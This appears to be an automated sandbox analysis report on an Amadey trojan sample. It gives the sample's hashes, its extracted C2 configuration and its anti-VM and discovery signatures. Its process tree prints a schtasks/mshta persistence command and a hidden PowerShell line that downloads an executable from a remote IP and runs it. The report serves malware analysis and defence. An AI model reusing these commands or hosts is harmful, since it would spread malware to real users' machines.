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Analysis

  • max time kernel
    143s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/03/2025, 16:22

General

  • Target

    05fdff6b612497f1292bd7c12fd54d00.exe

  • Size

    938KB

  • MD5

    05fdff6b612497f1292bd7c12fd54d00

  • SHA1

    611df7ad895719e22ccdfc8068e7e93afd2c2b7b

  • SHA256

    4b6809eadff24e320c31e9bbef3a6bd66ef7861ee9280bff726d9be05ee92113

  • SHA512

    3a522cb7aa14cbf32864b489c4c7c5ab700456ab90195dd927dcd3d08a30541f60941660a7d5252b5d57ec0f8dae4e90532e8d4e24b5443aa60db327697d73ac

  • SSDEEP

    24576:YqDEvCTbMWu7rQYlBQcBiT6rprG8a06u:YTvC/MTQYxsWR7a06

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Checks BIOS information in registry 2 TTPs 6 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Identifies Wine through registry keys 2 TTPs 3 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\05fdff6b612497f1292bd7c12fd54d00.exe
    "C:\Users\Admin\AppData\Local\Temp\05fdff6b612497f1292bd7c12fd54d00.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2280
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn de9lKma7kF9 /tr "mshta C:\Users\Admin\AppData\Local\Temp\7VIp4icPT.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1440
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn de9lKma7kF9 /tr "mshta C:\Users\Admin\AppData\Local\Temp\7VIp4icPT.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1944
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\7VIp4icPT.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4940
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:372
        • C:\Users\Admin\AppData\Local\TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE
          "C:\Users\Admin\AppData\Local\TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:4936
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:1716
  • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
    C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Executes dropped EXE
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    PID:4316

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE

    Filesize

    1.8MB

    MD5

    2058198accbc051944c9d377276fe54a

    SHA1

    4065ba25c377d2db397c37da6c598c98cbec851e

    SHA256

    a2a560e52feb37bb04aba6f8a46e1818aaf823a169eba1b2784d9b66e4d3343f

    SHA512

    864623095c092c471a1d9681a3bc77824b29d961e51557533d4e6c01b6db952c95aeabf92fe74dc6e51d47798ccd718ce8ef03579d09afe5cf079f4335860db3

  • C:\Users\Admin\AppData\Local\Temp\7VIp4icPT.hta

    Filesize

    717B

    MD5

    7f90b4c36fbeff1442390af89357b13c

    SHA1

    e040b1a5901a84b4f96d9fd15c0a906f1a893227

    SHA256

    07ef087af6ccc252d494a45feebd97b11641a19dff7a12f96a93e3d528218220

    SHA512

    c6647bc86b8c518230e9e90653447fc387d47fa3fc1a53a4b63b830a57cfcffdcbd22f7e4f851e1c1646ec506f6c6cd5d81611bd5e1b865eb8faaa4d67630d3b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iujigwpi.nf0.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/372-25-0x00000000083D0000-0x0000000008974000-memory.dmp

    Filesize

    5.6MB

  • memory/372-5-0x00000000059A0000-0x0000000005A06000-memory.dmp

    Filesize

    408KB

  • memory/372-6-0x0000000005A10000-0x0000000005A76000-memory.dmp

    Filesize

    408KB

  • memory/372-4-0x00000000050C0000-0x00000000050E2000-memory.dmp

    Filesize

    136KB

  • memory/372-16-0x0000000005B80000-0x0000000005ED4000-memory.dmp

    Filesize

    3.3MB

  • memory/372-17-0x0000000006060000-0x000000000607E000-memory.dmp

    Filesize

    120KB

  • memory/372-18-0x00000000060B0000-0x00000000060FC000-memory.dmp

    Filesize

    304KB

  • memory/372-19-0x00000000077A0000-0x0000000007E1A000-memory.dmp

    Filesize

    6.5MB

  • memory/372-20-0x00000000065A0000-0x00000000065BA000-memory.dmp

    Filesize

    104KB

  • memory/372-23-0x0000000007540000-0x00000000075D6000-memory.dmp

    Filesize

    600KB

  • memory/372-24-0x00000000074A0000-0x00000000074C2000-memory.dmp

    Filesize

    136KB

  • memory/372-3-0x0000000005300000-0x0000000005928000-memory.dmp

    Filesize

    6.2MB

  • memory/372-2-0x0000000002AD0000-0x0000000002B06000-memory.dmp

    Filesize

    216KB

  • memory/1716-53-0x0000000000EB0000-0x0000000001379000-memory.dmp

    Filesize

    4.8MB

  • memory/1716-54-0x0000000000EB0000-0x0000000001379000-memory.dmp

    Filesize

    4.8MB

  • memory/1716-49-0x0000000000EB0000-0x0000000001379000-memory.dmp

    Filesize

    4.8MB

  • memory/1716-50-0x0000000000EB0000-0x0000000001379000-memory.dmp

    Filesize

    4.8MB

  • memory/1716-51-0x0000000000EB0000-0x0000000001379000-memory.dmp

    Filesize

    4.8MB

  • memory/1716-52-0x0000000000EB0000-0x0000000001379000-memory.dmp

    Filesize

    4.8MB

  • memory/1716-62-0x0000000000EB0000-0x0000000001379000-memory.dmp

    Filesize

    4.8MB

  • memory/1716-61-0x0000000000EB0000-0x0000000001379000-memory.dmp

    Filesize

    4.8MB

  • memory/1716-60-0x0000000000EB0000-0x0000000001379000-memory.dmp

    Filesize

    4.8MB

  • memory/1716-59-0x0000000000EB0000-0x0000000001379000-memory.dmp

    Filesize

    4.8MB

  • memory/1716-58-0x0000000000EB0000-0x0000000001379000-memory.dmp

    Filesize

    4.8MB

  • memory/4316-57-0x0000000000EB0000-0x0000000001379000-memory.dmp

    Filesize

    4.8MB

  • memory/4316-56-0x0000000000EB0000-0x0000000001379000-memory.dmp

    Filesize

    4.8MB

  • memory/4936-47-0x0000000000770000-0x0000000000C39000-memory.dmp

    Filesize

    4.8MB

  • memory/4936-33-0x0000000000770000-0x0000000000C39000-memory.dmp

    Filesize

    4.8MB